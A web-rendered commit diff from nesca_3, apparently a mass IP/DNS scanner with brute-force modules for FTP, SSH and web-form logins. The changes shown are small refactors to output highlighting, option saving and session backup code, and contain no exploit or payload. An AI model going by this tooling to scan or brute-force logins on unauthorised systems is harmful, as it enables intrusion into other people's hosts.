BruteUtils.h
|
BruteUtils.h \
|
||||||
|
FTPAuth.h
|
||||||
|
|
||||||
FORMS += nesca_3.ui
|
FORMS += nesca_3.ui
|
||||||
|
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE QtCreatorProject>
|
<!DOCTYPE QtCreatorProject>
|
||||||
<!-- Written by QtCreator 3.2.1, 2015-03-11T17:37:43. -->
|
<!-- Written by QtCreator 3.2.1, 2015-03-13T17:27:38. -->
|
||||||
<qtcreator>
|
<qtcreator>
|
||||||
<data>
|
<data>
|
||||||
<variable>EnvironmentId</variable>
|
<variable>EnvironmentId</variable>
|
||||||
|
10
nesca_3.cpp
10
nesca_3.cpp
@ -739,7 +739,6 @@ void nesca_3::slotAddLine(int x1, int y1, int x2, int y2)
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void nesca_3::slotAddPolyLine()
|
void nesca_3::slotAddPolyLine()
|
||||||
{
|
{
|
||||||
if(ME2ScanFlag)
|
if(ME2ScanFlag)
|
||||||
@ -2216,6 +2215,7 @@ void nesca_3::slotOutData(QString str)
|
|||||||
str.replace("Content-Length:", "<font color=\"GoldenRod\">Content-Length:</font>");
|
str.replace("Content-Length:", "<font color=\"GoldenRod\">Content-Length:</font>");
|
||||||
str.replace("Authorization:", "<font color=\"GoldenRod\">Authorization:</font>");
|
str.replace("Authorization:", "<font color=\"GoldenRod\">Authorization:</font>");
|
||||||
str.replace("X-Nescav3:", "<font color=\"GoldenRod\">X-Nescav3:</font>");
|
str.replace("X-Nescav3:", "<font color=\"GoldenRod\">X-Nescav3:</font>");
|
||||||
|
str.replace("Referer:", "<font color=\"GoldenRod\">Referer:</font>");
|
||||||
|
|
||||||
_rOutProt.indexIn(str);
|
_rOutProt.indexIn(str);
|
||||||
prot = _rOutProt.cap(0);
|
prot = _rOutProt.cap(0);
|
||||||
@ -2241,7 +2241,7 @@ QRegExp _rIncRN("\r\n(_|-|=|.*)*:");
|
|||||||
void nesca_3::slotIncData(QString ip, QString str)
|
void nesca_3::slotIncData(QString ip, QString str)
|
||||||
{
|
{
|
||||||
if(RecvData != NULL)
|
if(RecvData != NULL)
|
||||||
{
|
{
|
||||||
QStringList headNbody = str.split("\r\n\r\n");
|
QStringList headNbody = str.split("\r\n\r\n");
|
||||||
QString tStr;
|
QString tStr;
|
||||||
QString tagRes;
|
QString tagRes;
|
||||||
@ -2540,8 +2540,7 @@ void nesca_3::IPScanSeq()
|
|||||||
if(ui->portLine->text() != "")
|
if(ui->portLine->text() != "")
|
||||||
{
|
{
|
||||||
ui->labelParsed_Value->setText("0/0");
|
ui->labelParsed_Value->setText("0/0");
|
||||||
stopFirst = false;
|
stopFirst = false;
|
||||||
saveOptions();
|
|
||||||
ui->tabMainWidget->setTabEnabled(1, false);
|
ui->tabMainWidget->setTabEnabled(1, false);
|
||||||
ui->tabMainWidget->setTabEnabled(2, false);
|
ui->tabMainWidget->setTabEnabled(2, false);
|
||||||
|
|
||||||
@ -2637,8 +2636,7 @@ void nesca_3::DNSScanSeq()
|
|||||||
ui->lineILVL->setText(topLevelDomainStr);
|
ui->lineILVL->setText(topLevelDomainStr);
|
||||||
};
|
};
|
||||||
|
|
||||||
stopFirst = false;
|
stopFirst = false;
|
||||||
saveOptions();
|
|
||||||
|
|
||||||
ui->tabMainWidget->setTabEnabled(0, false);
|
ui->tabMainWidget->setTabEnabled(0, false);
|
||||||
ui->tabMainWidget->setTabEnabled(2, false);
|
ui->tabMainWidget->setTabEnabled(2, false);
|
||||||
|
@ -26,7 +26,6 @@ int ipCounter = 0;
|
|||||||
int mode;
|
int mode;
|
||||||
int found = 0, indexIP = 1;
|
int found = 0, indexIP = 1;
|
||||||
int gMode;
|
int gMode;
|
||||||
int isActive = 0;
|
|
||||||
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
|
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
|
||||||
int ipsstart[4], ipsend[4],
|
int ipsstart[4], ipsend[4],
|
||||||
overallPorts, flCounter, octet[4];
|
overallPorts, flCounter, octet[4];
|
||||||
@ -187,7 +186,7 @@ void _SaveBackupToFile()
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
if(strstr(endIP2, "-") != NULL) strcpy(endStr, strstr(endIP2, "-"));
|
if(strstr(endIP2, "-") != NULL) strcpy(endStr, endIP2);//strcpy(endStr, strstr(endIP2, "-"));
|
||||||
else if(strstr(endIP2, "/") != NULL) strcpy(endStr, strstr(endIP2, "/"));
|
else if(strstr(endIP2, "/") != NULL) strcpy(endStr, strstr(endIP2, "/"));
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -203,8 +202,7 @@ void _SaveBackupToFile()
|
|||||||
{
|
{
|
||||||
strcpy(saveStr, "[SESSION]:");
|
strcpy(saveStr, "[SESSION]:");
|
||||||
strcat(saveStr, std::to_string(gMode).c_str());
|
strcat(saveStr, std::to_string(gMode).c_str());
|
||||||
strcat(saveStr, " ");
|
strcat(saveStr, " ");
|
||||||
if(gMode == 0) strcat(saveStr, saveStartIP);
|
|
||||||
strcat(saveStr, endStr);
|
strcat(saveStr, endStr);
|
||||||
if(gMode == 1)
|
if(gMode == 1)
|
||||||
{
|
{
|
||||||
@ -2602,8 +2600,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
|||||||
{
|
{
|
||||||
if (flCounter == 0)
|
if (flCounter == 0)
|
||||||
{
|
{
|
||||||
stt->doEmitionRedFoundData("Empty IP list.");
|
stt->doEmitionRedFoundData("Empty IP list.");
|
||||||
isActive = 0;
|
|
||||||
globalScanFlag = false;
|
globalScanFlag = false;
|
||||||
stt->doEmitionKillSttThread();
|
stt->doEmitionKillSttThread();
|
||||||
|
|
||||||
@ -2747,7 +2744,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
|||||||
stt->doEmitionChangeStatus("Stopping...");
|
stt->doEmitionChangeStatus("Stopping...");
|
||||||
|
|
||||||
|
|
||||||
while(cons > 0 || isActive == 1 || jsonArr->size() > 0) {
|
while(cons > 0 || jsonArr->size() > 0) {
|
||||||
Sleep(2000);
|
Sleep(2000);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user